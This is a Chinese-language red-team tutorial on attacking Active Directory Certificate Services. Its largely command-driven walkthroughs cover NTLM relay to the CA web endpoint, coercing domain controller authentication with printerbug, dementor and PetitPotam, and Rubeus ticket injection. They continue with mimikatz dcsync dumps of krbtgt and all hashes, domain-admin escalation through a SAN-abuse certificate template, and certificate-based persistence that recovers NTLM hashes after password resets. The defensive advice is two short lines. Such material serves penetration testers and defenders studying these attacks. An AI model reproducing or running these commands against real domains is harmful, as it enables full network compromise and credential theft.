目录
文章前言
在打攻防演练的时候有时候运气比较好的话会碰到部署了证书服务(AD CS)的内网环境,由于证书服务发布的部分证书可用于Kerberos认证并且在返回的PAC里面能拿到NTLM Hash,由此我们可以进行以下类型的内网攻击尝试
- 身份认证:当我们拿到目标主机的权限后,我们可以在本地检索是否存在相关的证书并用该证书进行域内身份认证
- 权限维持:当我们拿到用户的凭据后,我们可以申请一个证书,由于证书可用于Kerberos认证,所以即便后期用户更改密码,只有证书在手就可以随时拿到NTLM Hash
- 中继攻击:CA证书申请界面是HTTP的,HTTP默认不开签名,故而可以尝试NTLM Relay将请求进行Realy,申请用以进行Kerberos认证的证书
- 配置滥用:部分配置错误导致权限提升
企业PKI
PKI(Public Key Infrasturcture,公钥基础结构)是通过使用公钥技术和数字证书来确保系统信息安全并负责验证数字证书持者身份的一种体系,它能够保证数据的完整性、数据的机密性、操作的不可否认性等功能,它的作用是让个人或企业安全地从事其商业活动,本文介绍的Acitvity Directory证书服务(AD CS)正是微软的PKI实现,它能够和现有的AD DS服务结合用于加密文件系统、数字签名、身份验证等功能
颁发机构
证书颁发机构(CA)是主要用于验证网站(实名以及实体认证),他们的目标是使互联网成为组织和用户都更加安全的场所,证书颁发结构在收到证书申请后会根据CA的策略验证申请者的信息,然后使用其私钥将其数字签名应用于证书,然后CA将证书颁发给证书的使用者,此外CA还负责吊销证书和发布证书吊销列表(CRL)
AD CS中的CA分为企业CA和独立CA,其中最主要的区别在于企业CA与AD DS服务结合,它的信息存储在AD DS数据库里面,同时企业CA也支持证书模板和自动注册证书
假设我们有一个Al1ex.com的域名,现在要做HTTPS,那么我们就需要找到证书颁发机构去申请证书,当然也可以在本地环境中搭建一个证书颁发机构,不过使用自建的证书发布服务之后,浏览器并不会信任我们的证书,这是因为电脑本身并不相信我们的CA证书,而解决方法就是将我们生成的CA证书添加到Windows内置的CA证书列表中去:
对于企业而言,如果使用AD CS服务,要想让员工的计算机信任我们企业自己的CA证书,可以尝试以下几种方式:
- 计算机不在域内,可以手动导入CA证书
- 安装企业根CA时,使用组策略将其证书传播到域中所有用户和计算机的"受信任的根证书颁发机构"实现证书存储
证书注册
注册流程
注册流程示意图如下:
注册流程简易概述:
1、客户端生成一个证书申请文件,可以使用openssl生成,也可以使用在线网站:CSR在线生成工具
openssl req -new -SHA256 -newkey rsa:4096 -nodes -keyout www.al1ex.com.key -out www.al1ex.com.csr -subj "/C=CN/ST=Beijing/L=Beijing/O=netstarsec/OU=sec/CN=www.al1ex.com"
2、客户端把证书申请文件发送给CA,然后选择一个证书模板进行证书申请
3、判断模板是否存在,根据模板的信息判断请求的用户是否有权限申请证书,证书模板会决定证书的主题名是什么,证书的有效时间是多久,证书用于干什么,是不是需要证书管理员批准
4、CA会使用自己的私钥来签署证书
注册接口
方式一:证书注册网页
使用此功能的条件是AD CS服务器需要安装"证书颁发机构Web"注册角色,在"添加角色和功能向导—>AD证书颁发机构—>Web注册服务"里面开启即可:
下面我们简单的演示一下关于"证书注册网页"的使用,这里以IIS为中间媒介进行演示:
Step 1:在工具栏中打开IIS服务器
Step 2:选择服务器证书
Step 3:进行申请,点开之后选择创建证书申请,填写以下信息
Step 4:点击下一步,直接选择一个路径,创建一个文件,只需输入文件名即可,不需要写入内容
Step 5:打开文本文档,并复制里面的内容,如下图
Step 6:复制完成后,从shell里面可以看到本机的IP地址为192.168.174.2通过访问并输入主机用户名密码可以得到
Step 7:选择申请证书,再选择高级证书申请,选择使用base64编码申请
Step 8:将之前文档中复制的所有内容粘贴到文本框中,证书模板选择"WEB服务器",并提交申请
Step 9:此时会出现以下页面
Step 10:选择下载证书到本地,然后打开IIS管理器,完成证书申请
选择完成证书申请,会出现如下面的表格,文件名为刚才保存的文件地址
此时可以看到服务器证书中多了一个我们添加的站点,如下图
Step 11:查看证书信息如下图
Step 12:之后对HTTPS进行设置,将SSL证书设置为新添加的证书
此时第一次访问会提示如下错误信息,这是由于证书是我们自己生成的,并非互联网上的CA发布,要想正常访问只需导入证书即可:
方式二:certmgr.msc
在域内机器中我们可以通过启动certmgr.msc(用于用户证书)或certlm.msc(用于计算机证书)来使用GUI申请证书
申请流程:
Step 1:所有任务—>申请新证书
Step 2:选择证书注册策略
Step 3:请求证书
Step 4:查看结果
方式三:Powershell
域内机器可以通过命令行certreq.exe和Powershell的Get-Certificate来申请证书
在请求证书时我们需要先生成一个证书模板,之后选择证书模板进行新建:
内网攻防
ADCS之中继攻击
漏洞原理
AD CS支持几种基于HTTP协议的通过管理员可以安装的其他AD CS服务器角色功能,这些基于HTTP的证书注册接口都是易受攻击的NTLM中继攻击,一方面是因为没有启用NTLM中继保护,另一方面Authorization HTTP头明确允许通过NTLM进行身份验证,并未使用更安全的协议,例如:Kerberos
Authorization头信息:
环境说明
域内存在多台主机设备,其中有一台主机上搭建了AD CS证书服务,同时安装基于HTTP协议的AD CS服务器角色功能,例如:证书注册策略Web服务等,这些Web服务采用NTLM的方式进行身份认证,此时攻击者可以通过利用打印机漏洞使得域内DC主机向攻击者主机进行强制认证,之后攻击者窃取域控主机的NTLM身份认证信息并申请证书,由于部分证书(用户/计算机)可以用于Kerberos认证,导致攻击者可以将获取到的证书导入任意域内主机,实现对目标域控的直接访问
网络拓扑
漏洞利用
Step 1:域内定位CA机器
certutil -config - -ping
Step 2:安装新版本的Impacket(旧版本没有AD CS命令)
GitHub - ExAndroidDev/impacket at ntlmrelayx-adcs-attack
python3 -m pip install .
Step 3:攻击机器开启本地监听并将证书颁发机构(CA)设置为目标,即目标DC 192.168.174.2
#格式: python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs #示例: python3 ntlmrelayx.py -t http://192.168.174.160/certsrv/certfnsh.asp -smb2support --adcs
Step 4:利用打印机服务漏洞强制认证
a、使用printerbug
GitHub - dirkjanm/krbrelayx: Kerberos unconstrained delegation abuse toolkit
#格式: python printerbug.py domain/username:password@<targetName or Address> <hostname to connect to> #示例: python3 printerbug.py hacke/testuser:'test@123'@dc.hacke.testlab 192.168.174.129
成功获取到证书数据信息:
b、使用dementor.py脚本
GitHub - NotMedic/NetNTLMtoSilverTicket: SpoolSample -> Responder w/NetNTLM Downgrade -> NetNTLMv1 -> NTLM -> Kerberos Silver Ticket
#格式: python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET> #示例: python3 dementor.py -d hacke.testlab -u Al1ex -p 'Kksvqm@123' 192.168.174.129 192.168.174.2
之后获取到用户的证书信息:
c、使用Petitpotam.py脚本
GitHub - topotam/PetitPotam: PoC tool to coerce Windows hosts to authenticate to other machines via MS-EFSRPC EfsRpcOpenFileRaw or other functions.
#格式: python Petitpotam.py -d domain -u username -p password <RESPONDERIP> <TARGET> #示例: python3 PetitPotam.py -d hacke.testlab -u Al1ex -p 'Kksvqm@123' 192.168.174.129 192.168.174.160
之后成功得到证书信息:
Step 6:在域内主机Win08-Server上使用普通域用户登录并访问域控
Step 7:利用上面获取到的证书,获取TGT并注入
#格式: Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt #示例: Rubeus.exe asktgt /user:DC$ /certificate:打印出来的base64证书数据 /ptt
Step 8:再次访问域控
查看票据信息:
Step 9:之后可以利用mimikatz,进行导出hash
KERBEROS::List lsadump::dcsync /user:krbtgt
或者使用以下命令:
lsadump::dcsync /all /csv
防御措施
- 开启SSL认证
- 开启NTML中继保护
ADCS之权限提升
基本原理
在证书模板中,应用程序的策略如果包含以下策略之一则会具备Kerberos认证能力:
#客户端认证 Client Authentication (OID 1.3.6.1.5.5.7.3.2) #PKINIT客户端身份验证 PKINIT Client Authentication (1.3.6.1.5.2.3.4) #智能卡登录 Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2) #任何目的 Any Purpose (OID 2.5.29.37.0)
如果请求者可以在CSR中指定SAN,则请求者可以作为任何人(例如:域管理员用户)请求证书,证书模板的AD对象指定请求者是否可以在其mspki证书名称标志属性中指定SAN,mspki certificate name flag属性是位掩码,如果存在CT_flag_Enrolleee_SUPPLIES_SUBJECT标志,则请求者可以指定SAN,该选项在certtmpl.msc的"主题名称"选项卡中显示为"请求中提供",而SAN允许我们使用UPN来指定用户,从而实现用户模拟的目的,进而实现权限提升
利用条件
- 企业CA授予低级用户注册权限:企业CA的配置必须允许低特权用户请求证书
- CA证书无需授权签名:此设置要求任何CSR都由现有授权证书签名
- CA证书管理程序批准已禁用:此设置会要求具有证书管理器权限的用户在颁发证书之前审查和批准请求的证书
- 证书模板允许请求者在CSR中指定subjectAltName(SAN)
- 证书模板定义了启用身份验证的EKU
- 客户端身份验证(OID 1.3.6.1.5.5.7.3.2)
- PKINIT客户端身份验证(1.3.6.1.5.2.3.4)
- 智能卡登录(OID 1.3.6.1.4.1.311.20.2.2)
- 任何用途(OID 2.5.29.37.0)或无EKUSUBA)
漏洞利用
证书申请
Step 1:打开证书管理工具
certmgr
Step 2:申请证书
Step 3:配置证书(这里以域管为例)
Step 4:生成证书如下
权限提升
Step 1:查看本地计算机的证书
certutil -user -store My
Step 2:使用证书的Hash将证书其导出
certutil -user -exportPFX f7bf99c86db5107e540c75055b17c2ddacbccb1a ADM.pfx
Step 3:尝试访问域控
Step 4:利用Rubeus请求票证,并将生成的票证用于PTT
Rubeus.exe asktgt /user:administrator /certificate:ADM.pfx /password:123456 /ptt
Step 5:查看本地缓存的票证
klist
Step 6:再次访问域控,成功获取到域控的权限
ADCS之权限维持
基本原理
在微软的文档里有一段话"当使用PKCA时,KDC在权限属性证书(PAC)中会返回用户的NTLM",也就是说当使用证书进行Kerberos认证的时候,返回票据的PAC包里面还有NTLM票据,故可以用于获取用户NTLM Hash
[MS-PKCA]: Relationship to Other Protocols | Microsoft Learn
如果我们控制的目标主机中存在企业CA,则用户(或计算机)可以请求注册任何可用模板的证书,在用户凭证被盗时,我们可以请求一个模板证书,该模板允许我们作为该用户(或机器)向Active Directory进行身份验证,由于证书是独立的身份验证材料,即使用户(或计算机)重置了密码,这些证书仍然可用~
漏洞利用
下面我们用一个案例来说明:
Step 1:控制域内一台主机,发现里面有个用户的证书
Step 2:查看可用证书
certutil -user -store My
Step 3:使用certutil导出证书(如果导出不了的话,就用mimikatz来导出证书)
certutil -user -exportPFX f418dede290437696deeb6f53f099f1b58c918fb c:\Users\Al1ex.HACKE\Desktop\Al1ex.pfx
Step 4:然后把pfx文件拷贝到我们自己的计算机,双击导入,输入刚刚我们输的密码
Step 5:然后在我们本地的计算机做个代理进内网,并且把DNS也代理进去(dns设置为内网的域控)
Step 6:使用Kekeo获取用户的NTLM
tgt::pac /subject:Al1ex /castore:current_user /domain:hacke.testlab
Step 7:修改用户密码——Kksvqm@123
Step 8:使用之前的证书依旧可以窃取的用户的NTLM Hash
tgt::pac /subject:Al1ex /castore:current_user /domain:hacke.testlab
没看够~?欢迎关注!
免费领取安全学习资料包!一起学习,共同进步https://docs.qq.com/doc/DRGJHbUxpTWR2Y3lq